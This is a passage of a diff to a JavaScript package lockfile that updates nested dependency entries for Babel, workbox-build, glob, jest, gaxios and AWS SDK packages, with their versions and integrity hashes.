"@babel/plugin-transform-classes": "^7.23.8", "@babel/plugin-transform-computed-properties": "^7.23.3", "@babel/plugin-transform-destructuring": "^7.23.3", "@babel/plugin-transform-dotall-regex": "^7.23.3", "@babel/plugin-transform-duplicate-keys": "^7.23.3", "@babel/plugin-transform-dynamic-import": "^7.23.4", "@babel/plugin-transform-exponentiation-operator": "^7.23.3", "@babel/plugin-transform-export-namespace-from": "^7.23.4", "@babel/plugin-transform-for-of": "^7.23.6", "@babel/plugin-transform-function-name": "^7.23.3", "@babel/plugin-transform-json-strings": "^7.23.4", "@babel/plugin-transform-literals": "^7.23.3", "@babel/plugin-transform-logical-assignment-operators": "^7.23.4", "@babel/plugin-transform-member-expression-literals": "^7.23.3", "@babel/plugin-transform-modules-amd": "^7.23.3", "@babel/plugin-transform-modules-commonjs": "^7.23.3", "@babel/plugin-transform-modules-systemjs": "^7.23.9", "@babel/plugin-transform-modules-umd": "^7.23.3", "@babel/plugin-transform-named-capturing-groups-regex": "^7.22.5", "@babel/plugin-transform-new-target": "^7.23.3", "@babel/plugin-transform-nullish-coalescing-operator": "^7.23.4", "@babel/plugin-transform-numeric-separator": "^7.23.4", "@babel/plugin-transform-object-rest-spread": "^7.23.4", "@babel/plugin-transform-object-super": "^7.23.3", "@babel/plugin-transform-optional-catch-binding": "^7.23.4", "@babel/plugin-transform-optional-chaining": "^7.23.4", "@babel/plugin-transform-parameters": "^7.23.3", "@babel/plugin-transform-private-methods": "^7.23.3", "@babel/plugin-transform-private-property-in-object": "^7.23.4", "@babel/plugin-transform-property-literals": "^7.23.3", "@babel/plugin-transform-regenerator": "^7.23.3", "@babel/plugin-transform-reserved-words": "^7.23.3", "@babel/plugin-transform-shorthand-properties": "^7.23.3", "@babel/plugin-transform-spread": "^7.23.3", "@babel/plugin-transform-sticky-regex": "^7.23.3", "@babel/plugin-transform-template-literals": "^7.23.3", "@babel/plugin-transform-typeof-symbol": "^7.23.3", "@babel/plugin-transform-unicode-escapes": "^7.23.3", "@babel/plugin-transform-unicode-property-regex": "^7.23.3", "@babel/plugin-transform-unicode-regex": "^7.23.3", "@babel/plugin-transform-unicode-sets-regex": "^7.23.3", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "core-js-compat": "^3.31.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-3kBGTNBBk9DQiPoXYS0g0BYlwTQYUTifqgKTjxUwEUkduRT2QOa0FPGBJ+NROQhGyYO5BuTJwGvBnqKDykac6A=="],
+    "workbox-build/@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="],
 
     "workbox-build/@rollup/plugin-replace": ["@rollup/plugin-replace@2.4.2", "", { "dependencies": { "@rollup/pluginutils": "^3.1.0", "magic-string": "^0.25.7" }, "peerDependencies": { "rollup": "^1.20.0 || ^2.0.0" } }, "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg=="],
 
@@ -6245,7 +6507,7 @@
 
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+    "workbox-build/glob": ["glob@11.1.0", "", { "dependencies": { "foreground-child": "^3.3.1", "jackspeak": "^4.1.1", "minimatch": "^10.1.1", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^2.0.0" }, "bin": { "glob": "dist/esm/bin.mjs" } }, "sha512-vuNwKSaKiqm7g0THUBu2x7ckSs3XJLXE+2ssL7/MfTGPLLcrJQ/4Uq1CjPTtO5cCIiRxqvN6Twy1qOwhL0Xjcw=="],
 
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@@ -6293,6 +6555,8 @@
 
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@@ -6317,6 +6581,12 @@
 
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@@ -6325,6 +6595,8 @@
 
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@@ -6773,6 +6915,12 @@
 
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+
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@@ -6793,8 +6941,12 @@
 
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+    "@vitejs/plugin-react/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="],
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+    "@vitejs/plugin-react/@babel/core/@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="],
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+    "@vitejs/plugin-react/@babel/core/@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="],
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+    "@vitejs/plugin-react/@babel/core/@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="],
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+    "@vitejs/plugin-react/@babel/core/@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="],
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+    "@vitejs/plugin-react/@babel/core/@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
+
     "ajv-formats/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
 
-    "browserify-sign/readable-stream/core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="],
+    "body-parser/raw-body/http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="],
 
     "browserify-sign/readable-stream/isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="],
 
     "browserify-sign/readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="],
 
+    "caniuse-api/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
     "caniuse-api/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
 
     "chalk/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
@@ -7271,14 +7221,32 @@
 
     "compression/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
 
+    "core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
+
+    "core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+
+    "cytoscape-fcose/cose-base/layout-base": ["layout-base@2.0.1", "", {}, "sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg=="],
+
+    "d3-sankey/d3-array/internmap": ["internmap@1.0.1", "", {}, "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw=="],
+
+    "d3-sankey/d3-shape/d3-path": ["d3-path@1.0.9", "", {}, "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg=="],
+
     "data-urls/whatwg-url/tr46": ["tr46@5.1.1", "", { "dependencies": { "punycode": "^2.3.1" } }, "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw=="],
 
     "data-urls/whatwg-url/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
 
+    "eslint/@eslint/eslintrc/globals": ["globals@14.0.0", "", {}, "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ=="],
+
     "expect/jest-message-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
 
     "expect/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
 
+    "expect/jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
+
+    "expect/jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="],
+
+    "expect/jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
+
     "express-session/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="],
 
     "express-static-gzip/serve-static/send": ["send@0.19.0", "", { "dependencies": { "debug": "2.6.9", "depd": "2.0.0", "destroy": "1.2.0", "encodeurl": "~1.0.2", "escape-html": "~1.0.3", "etag": "~1.8.1", "fresh": "0.5.2", "http-errors": "2.0.0", "mime": "1.6.0", "ms": "2.1.3", "on-finished": "2.4.1", "range-parser": "~1.2.1", "statuses": "2.0.1" } }, "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw=="],
@@ -7287,15 +7255,17 @@
 
     "form-data/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
 
-    "gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="],
+    "gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="],
 
-    "google-auth-library/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+    "gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+    "gcp-metadata/gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
+
+    "glob/minimatch/brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="],
 
     "google-auth-library/gcp-metadata/google-logging-utils": ["google-logging-utils@0.0.2", "", {}, "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ=="],
 
-    "googleapis-common/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
-
-    "gtoken/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="],
+    "happy-dom/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
 
     "hast-util-from-html-isomorphic/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="],
 
@@ -7337,6 +7307,8 @@
 
     "jest-config/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
 
+    "jest-config/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
     "jest-config/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
 
     "jest-config/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
@@ -7345,28 +7317,20 @@
 
     "jest-each/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
 
-    "jest-environment-node/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
     "jest-leak-detector/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
 
     "jest-message-util/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
 
-    "jest-mock/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
-
-    "jest-runtime/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="],
-
     "jest-runtime/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
 
-    "jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
+    "jest-runtime/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
 
-    "jest-snapshot/expect/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
+    "jest-runtime/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
 
     "jest-snapshot/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
 
     "jest-snapshot/synckit/@pkgr/core": ["@pkgr/core@0.2.9", "", {}, "sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA=="],
 
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@@ -7573,12 +7431,14 @@
 
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-    "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.9.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0", "core-js-compat": "^3.34.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-7nZPG1uzK2Ymhy/NbaOWTg3uibM2BmGASS4vHS4szRZAIR8R6GwA/xAujpdrXU5iyklrimWnLWU+BLF9suPTqg=="],
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-    "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.5.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg=="],
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-    "workbox-build/@babel/preset-env/core-js-compat": ["core-js-compat@3.35.1", "", { "dependencies": { "browserslist": "^4.22.2" } }, "sha512-sftHa5qUJY3rs9Zht1WEnmkvXputCyDBczPnr7QDgL8n3qrF3CMXY4VPSYtOLLiOUJcah2WNXREd48iOl6mQIw=="],
+    "workbox-build/@babel/core/@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
 
     "workbox-build/@rollup/plugin-replace/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="],
 
@@ -7723,6 +7523,16 @@
 
     "workbox-build/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
 
+    "workbox-build/glob/foreground-child": ["foreground-child@3.3.1", "", { "dependencies": { "cross-spawn": "^7.0.6", "signal-exit": "^4.0.1" } }, "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw=="],
+
+    "workbox-build/glob/jackspeak": ["jackspeak@4.2.3", "", { "dependencies": { "@isaacs/cliui": "^9.0.0" } }, "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg=="],
+
+    "workbox-build/glob/minimatch": ["minimatch@10.1.1", "", { "dependencies": { "@isaacs/brace-expansion": "^5.0.0" } }, "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ=="],
+
+    "workbox-build/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
+    "workbox-build/glob/path-scurry": ["path-scurry@2.0.1", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-oWyT4gICAu+kaA7QWk/jvCHWarMKNs6pXOGWKDTr7cw4IGcUbW+PeTfbaQiLGheFRpjo6O9J0PmyMfQPjH71oA=="],
+
     "workbox-build/source-map/whatwg-url": ["whatwg-url@7.1.0", "", { "dependencies": { "lodash.sortby": "^4.7.0", "tr46": "^1.0.1", "webidl-conversions": "^4.0.2" } }, "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg=="],
 
     "wrap-ansi/string-width/emoji-regex": ["emoji-regex@10.4.0", "", {}, "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw=="],
@@ -7735,7 +7545,11 @@
 
     "@aws-crypto/util/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@2.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA=="],
 
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+    "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+    "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+    "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
 
